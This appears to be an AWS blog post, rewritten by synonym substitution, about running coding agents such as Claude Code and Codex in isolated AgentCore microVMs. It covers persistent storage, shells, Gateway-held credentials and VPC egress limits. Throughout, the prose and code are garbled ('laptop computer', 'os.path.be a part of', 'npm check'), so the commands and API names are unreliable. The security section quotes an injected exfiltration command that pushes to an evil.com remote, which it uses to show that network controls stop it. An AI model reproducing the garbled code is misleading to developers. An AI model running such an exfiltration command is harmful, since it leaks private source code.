It’s secure to shut your laptop computer now: Internet hosting coding brokers on Amazon Bedrock AgentCore

There’s a behavior going round. Strolling from one assembly to the subsequent with the laptop computer cradled half-open. Sitting by means of a 1:1 with the lid propped simply sufficient to maintain the display screen alive. Driving house whereas holding your laptop computer as a result of it should keep operating. Anyplace besides closed on a desk, as a result of closed on a desk is what kills the coding agent operating inside (Claude Code, Codex, Kiro, OpenCode, Gemini CLI, Cursor CLI, or no matter harness the developer pulled collectively). Enterprise Insider has a bit on it.

Strip any of those brokers down they usually all want the identical 5 issues: a shell, a filesystem, the venture checked out, its dependencies put in, and the correct permissions (to behave on the filesystem, plus credentials for the community and the surface world). Your laptop computer has all 5. Nothing in regards to the checklist says laptop computer, although. The laptop computer gained the job by being the closest machine, not the correct one.

The remainder of this put up is about reaching for a distinct one. Amazon Bedrock AgentCore Runtime offers each session a devoted surroundings: an remoted Linux microVM with a persistent workspace, an actual shell, and deterministic command execution. Most sandbox merchandise do one thing related. What’s tougher to assemble, and what AgentCore ships out of the field, is the encircling system: an Identification layer so the agent acts because the consumer who triggered it, a Gateway that provides Claude Code, Codex, Kiro, and the remainder the identical set of instruments (GitHub, Jira, Slack, your personal companies) by means of one Mannequin Context Protocol (MCP) endpoint with the actual tokens held outdoors the agent, and Observability so each step the agent takes lands within the Amazon CloudWatch your workforce already makes use of. After which the lid can shut.

By the tip of this put up, we’ll hand the identical GitHub challenge to Claude Code, Codex, Kiro, and Cursor on the similar time, every in its personal surroundings, and grade them on the issues that really matter: latency, greenback price, and whether or not the assessments cross on the primary strive.

Why a laptop computer is the unsuitable host

Earlier than we get there, it’s price saying out loud why the laptop computer was by no means the correct host for this. 4 causes stand out.

Your laptop computer is your affected zone. The agent shares your shell, your filesystem, your tokens, your VPN, your loaded SSH keys. One prompt-injected README is one prompt-injected README too many.
Secrets and techniques sit subsequent to the code the agent edits. .env recordsdata, ~/.aws/credentials, ~/.ssh/id_ed25519, that one ~/.npmrc with the non-public registry token: all reachable from the identical shell the agent runs in. The precept of least privilege has not been noticed.
git worktree is a half-fix for parallelism. The usual play for operating two brokers without delay is to spin up worktrees for 2 branches and level one agent at every. The brokers themselves do a part of the job. Codex sandboxes to the working listing by default. Claude Code is read-only till you say in any other case. However all of them share one machine, and the machine is what they collide on: the identical Postgres on localhost:5432, the identical :3000 your dev server desires, the identical SSH keyring, the identical outbound IP, the identical ~/.aws/credentials. Three brokers on three branches are three processes combating over one host. The sincere reply to parallelism isn’t one other worktree. It’s a devoted machine per agent.
The laptop computer lid is the kill swap. Droop the laptop computer and the agent suspends on it. Shut it for a gathering, lose the session. Shut it for a flight, lose the workspace. Half-installed dependencies, {a partially} utilized refactor, a still-running check suite, all gone with the lid. The longer the job, the more serious the maths: a 90-minute refactor or an in a single day migration means the lid should keep open for 90 minutes, or all night time. Transport a characteristic mustn’t depend upon the angle of a laptop computer hinge.

What builders and platform groups need

Should you’re a developer, you desire a laptop computer expertise, with out the laptop computer limitations. Identical agent, similar shell, similar filesystem, similar on the spot suggestions, however the lid can shut, a number of brokers can run aspect by aspect, and the work survives a reboot, a flight, or an extended lunch.

Should you’re on a platform workforce, you need what you all the time need. Every agent with its personal scope. Site visitors flowing by means of your digital non-public cloud (VPC), not the general public web. Identification tied to the corporate identification supplier (IdP), not a .env file. AWS CloudTrail information of each invocation. CloudWatch traces of each step. Instrument entry mediated by a coverage layer as a substitute of ~/.netrc. Credentials that aren’t on disk inside a big language mannequin (LLM)-controlled surroundings. None of that must be non-compulsory, and none of it ought to require constructing.

Let’s see how AgentCore will get you each.

Deliver any agent. Choose any mannequin. Run them in parallel.

Any agent. You possibly can host Claude Code, Codex, Kiro, OpenCode, Cursor CLI, Gemini CLI, your personal harness, and you’ll package deal something right into a container or a .zip. Push the container to Amazon Elastic Container Registry (Amazon ECR) or zip-deploy a Python or Node.js venture immediately. You possibly can carry your personal dependencies within the picture: language runtimes, construct instruments, git, system packages, or regardless of the agent wants from the developer’s machine.

Any mannequin, any route. Runtime is mannequin agnostic. The harness picks the mannequin and the trail it takes to get there. Three routes, all equally wonderful:

Via Amazon Bedrock, which hosts Anthropic’s Claude household and, as of not too long ago, OpenAI fashions, together with others like Nova, Llama, Mistral, Qwen, Kimi.
Immediately by way of the supplier: Anthropic’s Claude API, OpenAI’s API, Google, different suppliers or self-hosted fashions are nonetheless reachable over HTTPS.
Via your personal LLM gateway, for those who’ve already standardized on one for routing, fallbacks, and value controls.

Run Claude Code calling Opus, or Codex calling GPT-class fashions on Amazon Bedrock inside your VPC. Or use OpenCode calling Anthropic or OpenAI immediately. Or Kiro calling no matter your gateway arms it. Choose the route that matches your safety posture. Runtime doesn’t have an opinion about it. The Amazon Bedrock route has the property that the prompts, the tokens, and the outputs don’t go away the AWS community. That’s the property inner safety groups often ask about first.

In parallel, not in sequence. Every session runs in its personal Firecracker microVM. Spin up N of them in seconds. Run the identical agent towards ten branches. Run three completely different brokers towards the identical ticket and see who performs higher. A/B Claude Code on Opus towards Codex on a GPT-class mannequin towards Kiro on any of these: similar immediate, similar repo, three unbiased kernels, three unbiased filesystems, no localhost:5432 collisions. The companion GitHub repo on the finish of this put up ships precisely this state of affairs as a runnable script.

The 4 capabilities that flip a managed container into an actual growth surroundings

A managed container by itself isn’t a workstation. 4 capabilities flip it into one.

1. A persistent /mnt/workspace that survives cease and resume

Managed session storage (in public preview) offers each session a zero-config persistent listing. The agent writes recordsdata. The recordsdata are there subsequent time. node_modules, .git, construct caches, venture recordsdata, the half-applied refactor: all accessible within the actual state the agent left them. When the microVM idles out, the filesystem stays. Resume the identical session ID and a recent microVM mounts the identical filesystem in a matter of milliseconds. The info is held for 14 days of inactivity.

consumer.create_agent_runtime(
    agentRuntimeName="acme-coding-agent",
    agentRuntimeArtifact={"containerConfiguration": {"containerUri": "..."}},
    filesystemConfigurations=[
        {"sessionStorage": {"mountPath": "/mnt/workspace"}}
    ],
    roleArn="arn:aws:iam::...:function/AgentExecutionRole",
)

That’s it. There’s no want for file watcher syncing to S3, no SIGTERM flush logic, and no Git bundle persistence. (Groups have constructed all three by hand, repeatedly.)

When working in your laptop computer, you may arrange your surroundings in order that completely different coding brokers periods get logical isolation by way of git worktree (see documentation), i.e. separate working directories, shared repo historical past, and hopefully no file conflicts. On AgentCore, the isolation is bodily – you may arrange every agent and session to level to an remoted microVM, and its personal /mnt/workspace with git nonetheless being the coordination layer. Moreover, on AgentCore you additionally naturally get separate construct caches, separate node_modules, and separate filesystem state if required. No worktree administration is required due to the extra isolation from the microVM and filesystem itself.

2. An actual interactive shell

Beginning June fifth, AgentCore Runtime launched interactive shells for terminal entry into agent periods. agentcore exec --it now opens a PTY-backed shell straight into the operating microVM. Colours, tab completion, Ctrl+C, terminal resize, reconnect on community drop are all built-in. The coding harness operating on the distant surroundings begins feeling like your native terminal.

The extra attention-grabbing half is what you do with multiple. Open three terminals, connect every to a distinct microVM, watch three brokers work three branches in parallel. The “background” stops being your laptop computer and begins being a fleet of distant remoted environments, every with its personal kernel.

And the connection isn’t valuable. Shut the laptop computer, open it tomorrow, reattach to the identical shell. Every interactive session has two IDs that matter: the runtime session ID (which microVM) and the shell ID (which shell contained in the microVM). Move each again to agentcore exec --it and also you land in the identical shell, similar working listing, similar scrollback, no boot, no re-clone. Temporary community drops reconnect mechanically. Longer ones print the resume command and allow you to reattach by hand everytime you’re prepared.

# Drop into the agent's VM
agentcore exec --it --runtime acme-coding-agent --session-id sess-jane-1234

# Reconnect to the identical shell later
agentcore exec --it --session-id sess-jane-1234 --shell-id shell-789

3. Deterministic command execution from the applying layer

The terminal isn’t the one approach to drive the surroundings. Something you may run inside an agentcore exec --it shell, your software may also run immediately, with out an LLM within the center. The harness can completely preserve deciding when to name npm check and when to git push, and more often than not that’s wonderful. However when the operation is already deterministic (run the check suite, push the department, set up a dependency, fetch a dataset), you may skip the mannequin totally. InvokeAgentRuntimeCommand sends shell instructions straight to the microVM the agent is already working in, streaming stdout/stderr again over HTTP/2. From the CLI it’s the identical agentcore exec you used for the interactive shell, solely with out --it:

# One-shot, non-interactive
agentcore exec --runtime acme-coding-agent --session-id sess-jane-1234 
  "cd /mnt/workspace && npm check"

There isn’t a must have the mannequin within the loop, and thus there is no such thing as a token spend or probabilistic choice about whether or not the push occurred. Recordsdata the agent wrote a second in the past are seen to the command instantly.

4. Deliver-your-own filesystems for abilities, caches, and shared artifacts

Managed session storage covers per session persistence. For information shared throughout periods and brokers (your workforce’s Expertise library, a shared dependency cache, golden artifacts from a earlier pipeline), you may mount Amazon Easy Storage Service (Amazon S3) Recordsdata or Amazon Elastic File System (Amazon EFS) entry factors as POSIX directories inside each session. As much as 5 mounts per runtime. There isn’t a want for sidecars, mount helpers, or /and so forth/fstab. You possibly can drop a Talent into S3 Recordsdata and each agent on the workforce picks it up at /mnt/abilities on the subsequent invocation.

filesystemConfigurations=[
    {"sessionStorage": {"mountPath": "/mnt/workspace"}},
    {"s3FilesAccessPoint": {"accessPointArn": "...", "mountPath": "/mnt/skills"}},
    {"efsAccessPoint": {"accessPointArn": "...", "mountPath": "/mnt/cache"}},
]

A coding agent that may solely edit recordsdata isn’t helpful for lengthy. In the end it has to open a pull request, touch upon a Jira ticket, push to a non-public registry, web page somebody in Slack. The unsuitable approach to make that occur is to drop your GitHub credentials, or another entry token, into ~/.netrc contained in the microVM and hope no person asks. The best manner is to by no means put it there.

AgentCore Gateway is the place the software catalog lives, and AgentCore Identification holds the credentials behind it: long-lived secrets and techniques in AWS Secrets and techniques Supervisor, short-lived tokens cached in its Token Vault. You register the instruments a coding agent wants (GitHub, Jira, Slack, your construct system, your personal OpenAPI or AWS Lambda companies) as soon as, and Gateway exposes a single MCP endpoint talking the Streamable HTTP transport Claude Code, Codex, Cursor, Kiro, and OpenCode already use. Wiring the Gateway right into a harness is one line of MCP config. No bearer header to mint, no token to stick:

# Claude Code
claude mcp add agentcore 
  https://.gateway.bedrock-agentcore.us-west-2.amazonaws.com/mcp 
  --transport http

# Codex CLI ~/.codex/config.toml
[mcp_servers.agentcore]
url = "https://.gateway.bedrock-agentcore.us-west-2.amazonaws.com/mcp"

On first join, the coding harness discovers Gateway’s auth metadata and both redirects the developer to your IdP for consent (3LO) or presents AWS Identification and Entry Administration (IAM) (M2M) so Gateway can authenticate the caller. From there, each software name goes by means of Gateway, and Identification attaches the correct downstream credential for the correct caller, cached so the identical token will get reused throughout calls till it expires. Three patterns cowl most coding workflows.

The bot sample, for brokers appearing on their very own. You create a GitHub bot, mint a fine-grained private entry token (PAT) scoped to particular repos, and register it as an API-key credential on the Gateway’s GitHub MCP goal. Identification holds the PAT within the Token Vault and Gateway attaches it on every name, so GitHub sees the bot because the actor.
The on-behalf-of sample, for brokers appearing as an individual. The developer indicators in by way of your IdP. Identification mints a workload entry token and exchanges it for a GitHub-scoped one utilizing OAuth 2.0 Token Trade (RFC 8693), caches the outcome within the Token Vault, and Gateway forwards every name with that token hooked up. PRs are attributed to the human, not a shared bot. Identical move can work for any downstream useful resource that you simply use the identical IdP to authenticate into, corresponding to Jira, Slack, Salesforce, or Confluence.
The dealer sample, for instances the place you need full management of the credential move, like GitHub App set up tokens that want a self-signed JWT, or downstream companies that don’t federate along with your IdP, you may level the Gateway goal at a Lambda. The Lambda mints or fetches the credential per name, proxies the request to GitHub, and by no means returns the key to the agent. Identical safety property as the opposite two, with room for legacy and non-standard auth.

There’s one operation the GitHub MCP server itself can’t do: clone a non-public repository. It may possibly push recordsdata, remark, open PRs, and do every thing an agent wants mid-session, but it surely has no clone verb. The preliminary pull nonetheless goes by means of git, and git wants a credential within the session.

To attain this safely, we suggest maintaining that credential slim. For instance, use a fine-grained PAT scoped to read-only contents on the allowed repos, or a deploy key tied to at least one repo. You retailer it in Secrets and techniques Supervisor behind an Identification credential supplier, and at session begin, the runtime fetches the worth by way of Identification, makes use of it as soon as for git clone, and each different GitHub motion after that flows by means of the Gateway. You possibly can configure Secrets and techniques Supervisor to rotate the token on no matter cadence your safety workforce requires and revoke it at GitHub at any time.

Most of what a coding agent truly does, although, isn’t an MCP software name. It’s npm set up, git clone, cargo construct, pip set up. Shell instructions speaking straight to the web. Gateway doesn’t see that visitors. The underlying community does. Brokers hosted on AgentCore Runtime can stay inside your VPC, which suggests you determine what “the web” appears like from contained in the microVM:

Package deal set up. The agent runs pip set up pandas. Your Amazon Route 53 non-public zone resolves pypi.org to your inner PyPI mirror behind a VPC endpoint, or doesn’t resolve it in any respect, forcing the agent to make use of your AWS CodeArtifact registry. You by no means informed the agent which registry to make use of. You solely made it the one one which exists from its perspective.
Git operations. The agent runs git push origin important. Your safety group permits outbound 443 to GitHub Enterprise’s IP ranges and nothing else. An injected git distant set-url origin https://evil.com/exfil.git && git push fails on the TCP degree: the SYN packet doesn’t go away the subnet.
Construct toolchains. The agent runs a multi-stage construct that pulls base photos, downloads compilers, and fetches dependencies from six completely different registries. Your NAT gateway’s Elastic IP tackle is the one path out, and your AWS Community Firewall area allowlist sits in entrance of it. The construct works precisely as it will on a developer’s laptop computer, just for the domains you’ve allowed.

To learn to management which domains your brokers can entry, see Management which domains your AI brokers can entry.

What else you get with Runtime and AgentCore general

Just a few extra issues price understanding about Runtime:

Audit and observability, on day one. Each invocation lands in AWS CloudTrail. Each session sends OpenTelemetry traces to Amazon CloudWatch, together with built-in metrics for session rely, latency, period, token utilization, and error charges, all seen in the identical CloudWatch GenAI Observability dashboard your workforce already makes use of for every thing else. For instruments that don’t converse OTel natively, like Claude Code, you may ship the AWS Distro for OpenTelemetry (ADOT) collector as a sidecar within the container, which it will probably then decide up native traces over OpenTelemetry Protocol (OTLP), signal them with SigV4, and ahead them to AgentCore Observability and AWS X-Ray.
A lifecycle that matches how brokers truly run. Every microVM can run for as much as 8 hours, or as little as a minute. When a session sits idle previous the idleRuntimeSessionTimeout (quarter-hour by default, however configurable), the compute shuts down by itself. If you wish to finish one sooner, StopRuntimeSession terminates the microVM right away. Both manner, /mnt/workspace, S3 Recordsdata, and EFS keep the place they’re. The subsequent time you invoke the identical session ID, a recent microVM mounts the identical recordsdata and the agent picks up the place it left off. You don’t pre-pick a CPU or reminiscence dimension: billing tracks precise CPU consumption (so I/O wait aren’t any further price) and the rolling peak reminiscence used to this point. Run a whole bunch of periods aspect by aspect and pay just for the assets each truly consumes.
Networking that matches inside your VPC. Choose VPC because the community mode and the agent runs inside your subnets, behind your safety teams, reachable by means of your non-public endpoints. S3 Recordsdata and EFS mount over non-public NFS in the identical VPC. Calls out to your IdP, your registry, or your Gateway endpoints can keep non-public the entire manner. You management what community entry the agent has, which package deal registries it sees, which git remotes it will probably push to, which domains a construct can pull from. Something outdoors that scope fails on the community degree, not the applying degree.
Remoted periods assist superior agent patterns. A coding agent isn’t just one course of speaking to distant instruments. Most harnesses ship their very own built-in instruments (bash, activity, cron, glob) that run domestically contained in the agent’s surroundings, and most can spawn sub-agents for issues like operating parallel analysis or isolating high-volume operations from the primary context. On a developer’s laptop computer, all of that piles into one shell. On AgentCore Runtime, each session is its personal microVM, so the built-in instruments execute in an remoted surroundings. Sub-agents inherit the identical MCP config and surroundings variables because the dad or mum, run in their very own context, and return outcomes to the primary thread once they’re carried out. You possibly can preserve them within the foreground once you need to watch, or push them to the background once you don’t, and you’ll scope a particular MCP server (or a particular software inside one) to a single sub-agent so its blast radius matches its job.

Prospects are already doing this

Many groups already run coding amongst different kinds of brokers on AgentCore.

Danilo Tommasina, Distinguished Engineer at Thomson Reuters acknowledged that “At Thomson Reuters, we’re constructing agentic AI techniques for high-stakes authorized workflows. CoCounsel combines dynamic code era, trusted skilled content material, and area experience to assist prospects speed up analysis, drafting, and doc evaluation. The CoCounsel AI Assistant Agent is constructed on Claude Agent SDK that runs the identical execution loop that powers Claude Code. It’s hosted on Amazon Bedrock AgentCore which supplies us the scalable and safe execution infrastructure wanted to assist these experiences at enterprise scale, permitting our groups to give attention to constructing dependable, Fiduciary-Grade AI techniques for purchasers.”

The implementation patterns we talk about on this weblog, nevertheless, aren’t distinctive to coding brokers. Iberdrola’s IT operations brokers run LangGraph workloads on AgentCore inside their VPC, with Runtime, Identification, Reminiscence, and MCP gateways doing the identical job they do for the coding use case. Cox Automotive‘s groups went from no agentic expertise to production-ready in a month and now run 17 brokers underneath granular Identification-managed permissions, with their builders, of their phrases, targeted on enterprise logic as a substitute of infrastructure. Druva’s DruAI coordinates eight to 10 specialised cybersecurity brokers on Runtime, and Identification is scoping every agent (information, assist, motion) to its personal backend permissions, so the platform workforce enforces boundaries with out slowing down the developer workforce. Kollab (Chinese language-language weblog) hosts their workforce AI workspace on AgentCore Runtime, with the managed session storage maintaining every session’s working listing mounted throughout pauses so the subsequent Runtime occasion picks up precisely the place the final one left off, together with for scheduled duties that accumulate state throughout each day runs. Thomson Reuters‘ Platform Engineering workforce additionally constructed an agentic hub on AgentCore that automates cloud account provisioning, database patching, and structure overview, reporting a 15x productiveness achieve at first launch. Completely different downside domains, however the identical platform advantages.

Finish-to-end: A fleet of brokers working in parallel

The companion GitHub repo turns the remainder of this put up into three runnable experiments. Each begins the identical manner: your software calls AgentCore Runtime as soon as per agent, every name lands in its personal microVM, and from there every agent works by itself copy of the venture. What modifications between the three is what you do with the brokers whereas they run.

Race: who fixes it first? Choose a GitHub challenge, hand it to 4 brokers on the similar time, and see who wins. Every agent runs in its personal microVM. As soon as they’re carried out, they may open the PR by means of Gateway to GitHub Enterprise. The repo strains up 4 contenders: Claude Code, Codex CLI, Kiro CLI, and Cursor CLI. You possibly can swap any of them, and should the quickest right repair win.
Bench: who fixes it finest? Identical setup, however as a substitute of declaring a winner, the script grades everybody. It writes latency, greenback price, and check cross fee per run right into a CSV. Run it throughout as many mannequin × harness mixtures as you need. The subsequent time somebody asks “which mannequin is finest for our code base,” you solely rerun the script.
Watch: trying over the agent’s shoulder. One long-running refactor agent, two hours, operating unattended. Whereas it really works, you open a terminal domestically and run agentcore exec --it towards the identical session. You’re now inside the identical microVM because the agent. Tail logs, learn a stack hint, or drop a be aware right into a file the agent rereads firstly of its subsequent step. Both manner, you stayed out of its loop.

Right here’s what it appears like in code:

AGENTS = {
   "claude-code": {
        "identify": "Claude Code",
        "config_dir": os.path.be a part of(AGENTS_DIR, "claude-code"),
        "run_cmd": "/app/run.sh {model_flag}'{immediate}'; exit",
        "default_model": "world.anthropic.claude-opus-4-8", # Opus 4.8
    },
    "kiro": {
        "identify": "Kiro",
        "config_dir": os.path.be a part of(AGENTS_DIR, "kiro"),
        "run_cmd": "/app/run.sh {model_flag}chat '{immediate}'; exit",
        "default_model": "auto", # Computerized mannequin possibility from Kiro
    },
   "codex": {
        "identify": "Codex",
        "config_dir": os.path.be a part of(AGENTS_DIR, "codex"),
        "run_cmd": "/app/run.sh {model_flag}'{immediate}'; exit",
        "default_model": "openai.gpt-5.5", # GPT 5.5 
    },
    "hermes": {
        "identify": "Hermes",
        "config_dir": os.path.be a part of(AGENTS_DIR, "hermes"),
        "run_cmd": "/app/run.sh {model_flag}'{immediate}'; exit",
        "default_model": "world.meta.llama4-maverick-17b-instruct-v1:0", # Llama mannequin
    }
}

Then you may invoke it in a single shot:

consumer.invoke_agent_runtime_command( 
         agentRuntimeArn=ARN, 
         runtimeSessionId=sid, 
         physique={"command": "cd /mnt/workspace && npm check", "timeout": 300}, 
     )

Or interactive in terminal expertise:

consumer.invoke_agent_runtime_command_shell( 
         agentRuntimeArn=ARN, 
         runtimeSessionId=sid 
     )

You now can see Claude Code alternating between fashions:

Or you may swap between OpenAI fashions inside Codex:

However all of the enjoyable is to make all assistants compete towards one another, by studying your GitHub venture points and take into consideration higher approach to remedy that challenge. Situation #2 from our check repo is exhibiting this error:

The filter in delete_task makes use of t['id'] == task_id (retains matching) as a substitute of t['id'] != task_id (retains non-matching). This inverts the logic — calling delete removes every thing besides the duty you wished to delete.

Now, let’s ship the next textual content to our assistants:

Utilizing your talent, learn challenge #2 in evandrofranco/my-task-manager after which take into consideration a great answer, however don't make any PR, solely showcase downside assertion and excellent answer.

And at last, let’s see all of them dealing with it:

Many tabs, many home windows, each wired to a distinct microVM. The laptop computer went from doing the work to serving to you present oversight to a fleet of brokers.

Shut the laptop computer

You possibly can shut the lid now. Go to dinner, take the child to soccer, or sleep. The brokers you began are nonetheless operating, every in its personal microVM, every calling instruments by means of Gateway underneath the identification and IAM controls your platform workforce arrange, every step recorded in CloudWatch. Whenever you open the laptop computer tomorrow, reuse the identical session IDs and also you’re again the place you left off, on each considered one of them.

The cracked-open laptop computer wasn’t a flex. It was a workaround for a lacking system. Deliver any coding agent. Deliver any mannequin. AgentCore brings the remainder.

Now go put your laptop computer in your bag.